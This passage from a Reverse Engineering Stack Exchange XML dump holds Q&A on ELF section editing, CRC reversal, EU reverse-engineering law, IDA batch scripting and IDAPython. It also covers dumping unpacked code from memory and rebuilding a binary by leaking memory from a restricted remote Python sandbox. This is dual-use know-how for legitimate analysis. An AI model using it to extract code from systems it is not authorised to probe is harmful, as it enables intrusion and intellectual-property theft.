LastEditorUserId="3162" LastEditDate="2016-09-05T06:47:41.917" LastActivityDate="2016-09-05T06:47:41.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13434" PostTypeId="2" ParentId="11925" CreationDate="2016-09-05T09:27:55.760" Score="0" Body="&lt;p&gt;I would recommend against doing this in IDA. IDA is not a patching tool. Although there are plugins for IDA that implement this, there are far better choices for executable format editors, that are better equipped to add additional sections and manupulate data in it, which seems to be what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect IDA won't be able to patch in the modified/new section even if you managed to create it. I &lt;em&gt;think&lt;/em&gt; you'll have to use another tool for the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're working with ARM assembly, I'll assume you're working on an executable in the elf format. For that, simply using &lt;code&gt;objcopy --add-section&lt;/code&gt; would do the trick. You might also want to take a look at &lt;code&gt;--set-section-flags&lt;/code&gt; afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More advanced tools include the &lt;a href=&quot;https://github.com/thorkill/eresi&quot; rel=&quot;nofollow&quot;&gt;eresi&lt;/a&gt; and &lt;a href=&quot;http://www.radare.org/r/&quot; rel=&quot;nofollow&quot;&gt;radare&lt;/a&gt; projects. Both capable and designed to manipulate ELF executables to ease the work of a reverse engineer and/or security researcher.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-21T13:49:08.343" LastActivityDate="2016-10-21T13:49:08.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13435" PostTypeId="1" CreationDate="2016-09-05T14:13:43.413" Score="3" ViewCount="832" Body="&lt;p&gt;I have a set of data bytes and their CRC values available to me. I want to know the CRC algorithm used by it.&lt;/p&gt;&#xA;&lt;p&gt;CRC is 16 bit long.&lt;/p&gt;&#xA;&lt;p&gt;firstly I tried to find out using CRC RevEng but that is showing &amp;quot;no model found message&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Then I followed &lt;a href=&quot;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CRC Reverse Engineeing&lt;/a&gt; paper written by Greg Ewing.&lt;/p&gt;&#xA;&lt;p&gt;Then I found that my data set is following the superposition principle&#xA;so I came to the conclusion that it is using some standard algorithm to calculate CRC.&lt;/p&gt;&#xA;&lt;p&gt;According to Greg's paper: &lt;br&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;two CRC values obtained from two 1-bit messages, where the 1 bits are in adjacent positions, will have thier resulting CRCs differ by just one shift-xor cycle. To be precise, if C1 corresponds to the message with a 1 in position &lt;code&gt;i&lt;/code&gt;, and C2 corresponds to the message with a 1 in position &lt;code&gt;i+1&lt;/code&gt;, then C1 is derived from applying one shift-xor cycle to C2. (If this seems backwards, it's because the further the 1 bit is from the end of the message, the more shift-xor cycles get applied to the CRC.)&lt;/p&gt;&#xA;&lt;p&gt;There are two possibilities. If the leading bit of C2 (the one about to be shifted out) is 0, then C1 will be equal to C2 shifted by one place. If it is 1, then C2 will be equal to C1 shifted one place and xored with the polynomial.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In my case polynomial is not coming same every time.&lt;/p&gt;&#xA;&lt;p&gt;I have printed CRC values for different messages, their LSB and CRC value after right shift operation and polynomial value to be XORed in order to drive C1 from C2&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/535OF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/535OF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have observed that I can get C1 from C2 by three polynomial values which are shown in above image 0x9008, 0x8000, 0x1008&lt;/p&gt;&#xA;&lt;p&gt;I don't know why it is coming different.&#xA;I am stuck at this point&lt;/p&gt;&#xA;&lt;p&gt;I'm hoping that I can get more hints here on Reverse Engineering Stack Exchange.&lt;/p&gt;&#xA;&lt;p&gt;Roy&lt;/p&gt;&#xA;" OwnerUserId="17298" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-09-05T20:59:52.633" Title="Reverse Engineering a 16-bit CRC algortihm" Tags="|crc|binary-diagnosis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13436" PostTypeId="5" CreationDate="2016-09-05T21:16:13.660" Score="0" Body="&lt;p&gt;Binary diagnosis is the art of understanding the properties of an unknown binary stream of data without any additional information. Usually done as a last resort due to lack of related code to reverse engineer or format specifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Understanding a file format without reviewing it's sepcifications and documentation.&lt;/li&gt;&#xA;&lt;li&gt;creating a simulator for a CRC algorithm using only generated messages using that CRC.&lt;/li&gt;&#xA;&lt;li&gt;Mapping a network protocol by only analyzing messages constructed as part of the protocol.&lt;/li&gt;&#xA;&lt;li&gt;Providing a decryption algorithm when only the keys, plain-texts and cypher-texts are at hand.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The task of diagnosing is usually considered more difficult than when additional information such as documentation or code is available. Binary diagnosis usually requires familiarity with similar protocols/algorithms and a decent understanding of statistics and other mathematical skills.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-06T06:15:00.297" LastActivityDate="2016-09-06T06:15:00.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13437" PostTypeId="4" CreationDate="2016-09-05T21:16:13.660" Score="0" Body="Binary diagnosis is the art of understanding the properties of an unknown binary stream of data without any additional information. Usually done as a last resort due to lack of related code to reverse engineer or format specifications. Examples include understanding a network protocol or a file format with only the messages or files available for analysis.&#xD;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-06T06:14:52.737" LastActivityDate="2016-09-06T06:14:52.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13439" PostTypeId="1" AcceptedAnswerId="13440" CreationDate="2016-09-06T09:05:46.347" Score="11" ViewCount="5585" Body="&lt;p&gt;Would it be legal to decompile and/or reverse engineer a commercial java JAR file to view the inner workings of a library in order to write original code for use with the library in the EU or UK?&lt;/p&gt;&#xA;" OwnerUserId="17361" LastEditorUserId="2147" LastEditDate="2018-06-15T07:21:39.963" LastActivityDate="2018-06-15T07:23:36.063" Title="Are the EU laws preventing reverse engineering of software products?" Tags="|decompilation|law|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13440" PostTypeId="2" ParentId="13439" CreationDate="2016-09-06T09:28:13.717" Score="14" Body="&lt;p&gt;IANAL; If this is done by a company, you &lt;em&gt;need to&lt;/em&gt; consult a lawyer that specializes in the field of computer law before taking any action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most reverse engineering restrictions actually come from the EULA/Terms of service and other contractual binding agreements between the software provider and the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often times &lt;a href=&quot;https://en.wikipedia.org/wiki/Clean_room_design&quot; rel=&quot;noreferrer&quot;&gt;Clean room methodologies&lt;/a&gt; are used to circumvent any limitations imposed by the software provider. That is where the reverse engineer(s) create a so-called &quot;requirements document&quot; and avoid any code/design tasks, which are performed independently by designated developers whom never performed reverse engineering on target or related products. That way there was no reverse engineering done to a program in the process of producing the &quot;original code&quot; of the replica. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because no knowledge of the original invention is used while creating the replica implementation (note the subtle difference, as knowledge &lt;em&gt;is&lt;/em&gt; used while defining the requirements) the clean room approach is a valid approach to circumvent copyright infringement but cannot be bypass patent law.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Reverse_engineering#European_Union&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt; EU Directive 2009/24, is the most relevant to the question of legality of reverse engineering under EU laws. Keep in mind any contractual agreements with the software company will also affect the legality of reverse engineering their software (and such actions are usually explicitly forbidden there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the excerpt from EU Directive 2009/24:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary information to achieve the interoperability of an independently created program with other programs. It has therefore to be considered that, in these limited circumstances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right-holder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.eff.org/issues/coders/reverse-engineering-faq&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; EFF FAQ is also a good start, although I think it mostly addressed USA laws, some of the recommendations are of value anywhere around the globe.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2018-06-15T07:23:36.063" LastActivityDate="2018-06-15T07:23:36.063" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13441" PostTypeId="1" CreationDate="2016-09-06T10:08:42.110" Score="1" ViewCount="856" Body="&lt;p&gt;I try to disassemble a bunch of PE files with the free version of IDA.&#xA;However, I can't figure out how to suppress the beginning welcome message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fkkEn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fkkEn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My batch command looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files (x86)\IDA Free\idag&quot; -c -B target.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, I also checked the &lt;code&gt;C:\Program Files (x86)\IDA Free\cfg&lt;/code&gt; folder, especially &lt;code&gt;idagui.cfg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I consider the wrong version? Is it a limitation of the free IDA version?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2016-09-06T12:58:49.650" LastActivityDate="2016-09-06T12:58:49.650" Title="Suppress IDA welcome dialog in batch mode" Tags="|ida|disassembly|windows|pe|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13442" PostTypeId="2" ParentId="13441" CreationDate="2016-09-06T10:19:56.893" Score="3" Body="&lt;p&gt;the &lt;code&gt;-A&lt;/code&gt; flag only works with &lt;code&gt;-S&lt;/code&gt; (used for executing a script when IDA starts).&#xA;Without it, &lt;code&gt;-A&lt;/code&gt; has no meaning: What will IDA do when the binary it is running? will it hang forever? will it save the IDB? will it exit afterwards? all of these questions are answered with a script, actually doing those things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically, You &lt;em&gt;must&lt;/em&gt; suppliy a script for IDA to function autonomously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also note these two hickups:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Autonomous mode won't suppress the licese agreement dialog that pops up the first time IDA is started, you'll have to do that manually (or edit the relevant registry key on windows, for example). Actually IIRC IDA is stuck without showing any dialog or ever running the script when the license dialog box pops up in autonomous mode.&lt;/li&gt;&#xA;&lt;li&gt;Your script will execute when the IDA starts. Without calling &lt;code&gt;idaapi.autoWait()&lt;/code&gt; it won't wait for autoanalysis to finish. Also, without calling &lt;code&gt;idaapi.qexit(0)&lt;/code&gt; it will never terminate.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-06T10:19:56.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13443" PostTypeId="2" ParentId="13428" CreationDate="2016-09-06T18:27:52.710" Score="5" Body="&lt;p&gt;You can find some of the samples from our work on deobfuscation at &lt;code&gt;hxxp://www.cs.arizona.edu/projects/lynx-project/Samples/&lt;/code&gt; (s/x/t/).  The programs---a mix of Linux and Windows binaries---are all benign (you'll have to take my word for this :-), but use a variety of techniques commonly used by malware. These samples formed the basis for the results reported in the following papers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yadegari &lt;em&gt;et al&lt;/em&gt;, &quot;A Generic Approach to Automatic Deobfuscation of Executable Code&quot;, &lt;em&gt;Proc. IEEE Symposium on Security and Privacy&lt;/em&gt;, May 2015.  These consist of programs obfuscated using tools such as VMProtect, ExeCryptor, and Themida; and several that use return-oriented programming.&lt;/li&gt;&#xA;&lt;li&gt;Qiu &lt;em&gt;et al&lt;/em&gt;, &quot;Identifying and Understanding Self-Checksumming Defenses in Software&quot;, &lt;em&gt;Proc. Fifth ACM Conference on Data and Application Security and Privacy&lt;/em&gt; (CODASPY), March 2015.  This is a collection of programs that use a variety of techniques, including self-modifying code, to implement self-checksumming-based anti-tampering.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We used to have a link to these samples on the project web page, but Google decided that we were distributing malware and put a big red warning next to their link (talk about false positives!), so we ended up removing the link. This is also the reason the link above has been disguised with &quot;hxxp&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="2147" LastEditDate="2018-08-25T19:40:33.463" LastActivityDate="2018-08-25T19:40:33.463" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13447" PostTypeId="1" CreationDate="2016-09-07T08:14:59.817" Score="1" ViewCount="2142" Body="&lt;p&gt;I am actually working for the side of software protection. But in order to properly protect my source code ( be it .Net or C++), I would need to understand what is achievable ( and not achievable) from hacker's point of view .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can protect/obfuscate/encrypt/virtualize my code all the way I want, but when the source code is loaded into the memory, it will have to be unprotected in order to run. So at this point of time, can hacker dump the source code out from the memory, and thus recover my source code in full, unadulterated fashion? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how this can be done? Using what tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: from my finding, it seems that this is doable, and there are protection tools that can prevent this, such as &lt;a href=&quot;http://secureteam.net/NET-Obfuscator-Features.aspx&quot; rel=&quot;nofollow&quot;&gt;Agile.Net&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Method Level Code Encryption&lt;/strong&gt; - Encrypts all the MSIL code and keeps it&#xA;  in a secure storage. When the assembly is loaded Agile.NET binds to&#xA;  the .NET runtime engine and manages decrypting the MSIL on a per&#xA;  method basis. Agile.NET creates a runtime environment that executes&#xA;  the original MSIL code by decrypting one method at a time, &lt;strong&gt;&lt;em&gt;this&#xA;  important virtue minimizes the exposure of MSIL code in memory thus&#xA;  prevents dumping the code from physical memory&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I have no idea how, can anyone shed some lights on this?&lt;/p&gt;&#xA;" OwnerUserId="2676" LastEditorUserId="2676" LastEditDate="2016-09-07T11:20:38.840" LastActivityDate="2016-09-07T11:20:38.840" Title="Is it possible ( or how) to dump source code/machine code from memory?" Tags="|c++|memory|.net|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13448" PostTypeId="2" ParentId="13447" CreationDate="2016-09-07T09:45:15.207" Score="4" Body="&lt;p&gt;Just to be clear: You can not reconstruct source code from .net or c++ binaries. You can try to &lt;em&gt;recover&lt;/em&gt; it using heuristics, embedded symbols and knowledge about the assembler, but you already lost the necessary information in translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should differentiate between packing and obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Packing&lt;/strong&gt; means you encrypt (and / or compress) parts of your compiled code and have a decryption / unpacking stub at the beginning, fetching the encrypted blocks and unpacking them. This can be often observed in the case of malicious software. In this case, you can dump the memory right after the decryption process and it will be unencrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more sophisticated means of packing like VM-packing, which increase the challenge of dumping the data noticeably, but there has been a lot of research in this area. That being said, something like a general unpacker does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Obfuscation&lt;/strong&gt; on the other hand alters the code directly in a fashion which makes it still able to be executed. For example, a common technique is obfuscating the control flow though the use of spaghetti code, e.g. inserting unnecessary branches and jumps. These operations can principally not be undone and increase the challenge of reversing significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; You can not hide the logic you want to execute from the machine you want it to run on. You can only make it harder for humans to figure out what your code does.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-07T09:45:15.207" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13449" PostTypeId="1" AcceptedAnswerId="13450" CreationDate="2016-09-07T10:09:25.140" Score="5" ViewCount="4508" Body="&lt;p&gt;I need to determine whether an IDA's item is code or data.&#xA;Sometimes, data resides in an executable's code section (virtual functions tables, switch tables and stuff).&#xA;So in IDA, you can sometimes see this stuff in the code section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:100A1424     aInternetfreepr db 'InternetFreeProxyInfoList',0&#xA;.text:100A1424                                             ; DATA XREF: .text:10038688o&#xA;.text:100A143E                     align 10h&#xA;.text:100A1440     aInternetfreeco db 'InternetFreeCookies',0 ; DATA XREF: .text:10038680o&#xA;.text:100A1454     aInternetfortez db 'InternetFortezzaCommand',0&#xA;.text:100A1454                                             ; DATA XREF: .text:10038678o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a method I can call to defer between code and data using only the EA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="17202" LastActivityDate="2019-03-27T06:42:29.017" Title="idapython - Determine if item is code or data" Tags="|ida|disassembly|idapython|python|disassemblers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13450" PostTypeId="2" ParentId="13449" CreationDate="2016-09-07T10:21:13.993" Score="8" Body="&lt;p&gt;IDA utilizes flags for checking the properties of locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot;&gt;API&lt;/a&gt; you can use &lt;code&gt;GetFlags(ea)&lt;/code&gt; and pass its output to &lt;code&gt;isCode(flags)&lt;/code&gt; to check if a location is &lt;em&gt;flagged&lt;/em&gt; as being code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the exact definitions of the flags in &lt;code&gt;IDC.IDC&lt;/code&gt;. A small excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define isCode(F)       ((F &amp;amp; MS_CLS) == FF_CODE) // is code byte?&#xA;#define isData(F)       ((F &amp;amp; MS_CLS) == FF_DATA) // is data byte?&#xA;#define isTail(F)       ((F &amp;amp; MS_CLS) == FF_TAIL) // is tail byte?&#xA;#define isUnknown(F)    ((F &amp;amp; MS_CLS) == FF_UNK)  // is unexplored byte?&#xA;#define isHead(F)       ((F &amp;amp; FF_DATA) != 0)      // is start of code/data?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use this from Python like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = ScreenEA()&#xA;flags = GetFlags(ea)&#xA;&#xA;if isData(flags):&#xA;    print(&quot;It's data!&quot;)&#xA;&#xA;elif isCode(flags):&#xA;    print(&quot;It's code!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3013" LastEditDate="2019-03-27T06:42:29.017" LastActivityDate="2019-03-27T06:42:29.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13452" PostTypeId="2" ParentId="13449" CreationDate="2016-09-07T12:38:05.527" Score="3" Body="&lt;p&gt;Additionally, you can use &lt;a href=&quot;http://sark.rtfd.io&quot; rel=&quot;nofollow&quot;&gt;Sark&lt;/a&gt; to get it done:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;&#xA;# For current line&#xA;sark.Line().is_code&#xA;&#xA;# For specific line&#xA;sark.Line(ea).is_code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I am the creator of Sark.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2016-09-09T14:16:51.487" LastActivityDate="2016-09-09T14:16:51.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13453" PostTypeId="1" CreationDate="2016-09-07T18:05:10.390" Score="1" ViewCount="412" Body="&lt;p&gt;Ok, I’m in a remote situation where I don’t have access to the remote filesystem but where I can run arbitrary python code &lt;em&gt;(except I can’t fork processes and I don’t have access to ulimit and uname)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, it means I can read and write at arbitrary virtual memory addresses. &lt;strong&gt;I know the python interpreter is statically linked so it has no external shared object dependencies.&lt;/strong&gt;&lt;br /&gt;&#xA;While &lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_space_protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;nx&lt;/a&gt; is enabled, strangely &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;aslr&lt;/a&gt; seems to be disabled.&lt;br /&gt;&#xA;I already identified and dumped the following region whose contents and places never change :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00010000:0x00050000 # read only and executable&#xA;0x01000000:0x01b80000 # read only and executable&#xA;0x11000000:0x1158c000 # writable&#xA;# The heap is located between those 2 places and it’s location is chose at random&#xA;0xfe500000:0xffffffff # writable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In that case, is it possible to rebuild the ᴇʟꜰ binary ? &lt;em&gt;(it was compiled for native client)&lt;/em&gt;. &lt;em&gt;&lt;strong&gt;It doesn’t have to be the original binary with the original header, but just an executable that can be launched from the various parsed ᴇʟꜰ segments.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Update :&lt;/h1&gt;&#xA;&lt;p&gt;Unlike normal nexe, the python.nexe is compiled &lt;code&gt;nacl_interp&lt;/code&gt; can only be ran on Linux. This mean the target ᴏꜱ in the ᴇʟꜰ header is set to 0x7B &lt;em&gt;(whereas normal nexe are ᴏꜱ independent)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The libc is glibc. See also &lt;a href=&quot;https://groups.google.com/forum/#!topic/native-client-discuss/t54RajuGnPc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://groups.google.com/forum/#!topic/native-client-discuss/t54RajuGnPc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17379" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-09-10T19:16:11.323" Title="Is it possible to rebuild an nexe file if I can read at arbitrary untrusted memory addresses?" Tags="|linux|elf|x86-64|amd64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13454" PostTypeId="1" AcceptedAnswerId="13458" CreationDate="2016-09-07T19:30:20.580" Score="4" ViewCount="5705" Body="&lt;p&gt;I am trying to use IDA python to get a list of all variables in .data section because I want to extract a list of cross references to each global variables from IDA.&#xA;Is it possible to do this with IDA python?&lt;/p&gt;&#xA;" OwnerUserId="17251" LastActivityDate="2016-09-09T09:21:47.963" Title="Get a list of global variables with IDA python" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13456" PostTypeId="2" ParentId="13453" CreationDate="2016-09-07T21:09:19.670" Score="2" Body="&lt;p&gt;It is possible to rebuild the whole binary if you can leak any address in the process address space. As an example here is a memory map of a process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat /proc/self/maps&#xA;00400000-0040c000 r-xp 00000000 08:01 10223630                           /bin/cat&#xA;0060b000-0060c000 r--p 0000b000 08:01 10223630                           /bin/cat&#xA;0060c000-0060d000 rw-p 0000c000 08:01 10223630                           /bin/cat&#xA;0232c000-0234d000 rw-p 00000000 00:00 0                                  [heap]&#xA;.&#xA;.&#xA;.&#xA;.&#xA;7ffef94f3000-7ffef9514000 rw-p 00000000 00:00 0                          [stack]&#xA;7ffef95cd000-7ffef95cf000 r--p 00000000 00:00 0                          [vvar]&#xA;7ffef95cf000-7ffef95d1000 r-xp 00000000 00:00 0                          [vdso]&#xA;ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first three sections in the map contain the executable itself. You just have to leak that section and then can reassemble to form an executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the binary is not &lt;a href=&quot;https://en.wikipedia.org/wiki/Position-independent_code&quot; rel=&quot;nofollow&quot;&gt;PIE&lt;/a&gt; enabled, the location of the executable code will be static every time the binary is ran, as in the above example. By default, you get 0x8048000 load address in 32-bits and 0x400000 64-bit. However this can be changed during the linking process. &#xA;You can search in the process space for &quot;ELF&quot; and probably your executable would start from there.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2016-09-07T21:09:19.670" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13457" PostTypeId="2" ParentId="13454" CreationDate="2016-09-07T21:34:34.870" Score="2" Body="&lt;p&gt;There are several ways to do this. I am using &lt;a href=&quot;http://sark.rtfd.io&quot; rel=&quot;nofollow&quot;&gt;Sark&lt;/a&gt; because it makes coding a bit easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option here is iterating over IDA's name list, and filtering by the addresses. The second one is going over all the lines in a segment, and showing those with names. In most cases, the first would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    import sark&#xA;    import idautils&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# First option - names list&#xA;def get_segment_names(name):&#xA;    seg = sark.Segment(name=name)&#xA;    for ea, name in idautils.Names():&#xA;        if seg.startEA &amp;lt;= ea &amp;lt; seg.endEA:&#xA;            yield ea, name&#xA;&#xA;&#xA;# Second option - iteration over lines&#xA;def get_segment_names2(name):&#xA;    seg = sark.Segment(name=name)&#xA;    for line in seg.lines:&#xA;        if line.has_name:&#xA;            yield line.ea, line.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use them, just pass the name of the segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ea, name in get_segment_names('.data'):&#xA;    print '{} at 0x{:x}'.format(name, ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you want xrefs, you can later do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def show_segment_xrefs(name):&#xA;    for ea, name in get_segment_names(name):&#xA;        print 'xrefs to {} at 0x{:x} from:'.format(name, ea)&#xA;        for xref in sark.Line(ea).xrefs_to:&#xA;            print '    0x{:x}'.format(xref.frm)&#xA;&#xA;&#xA;get_segment_xrefs('.data')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And get all the xrefs for the variables.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-09-07T21:34:34.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13458" PostTypeId="2" ParentId="13454" CreationDate="2016-09-07T21:50:57.793" Score="6" Body="&lt;p&gt;Although &lt;a href=&quot;http://sark.rtfd.io/&quot; rel=&quot;nofollow&quot;&gt;Sark&lt;/a&gt; is a good library/tool, if you're only looking for a small utility script you might want to avoid the overhead of installing it. I do  recommend you give it a try regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will do just that without using any third party code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get segment start and end EA by name&#xA;idata_seg_selector = idc.SegByName('.data')&#xA;idata_seg_startea = idc.SegByBase(idata_seg_selector)&#xA;idata_seg_endea = idc.SegEnd(idata_seg_startea)&#xA;&#xA;# iterate EAs in range&#xA;for seg_ea in range(idata_seg_startea, idata_seg_endea):&#xA;  # iretate xrefs to specific ea&#xA;  for xref in idautils.xrefsto(ea):&#xA;    print(&quot;Found a cross reference {}: from {} to '.idata' variable {}&quot;.format(xref, xref.frm, 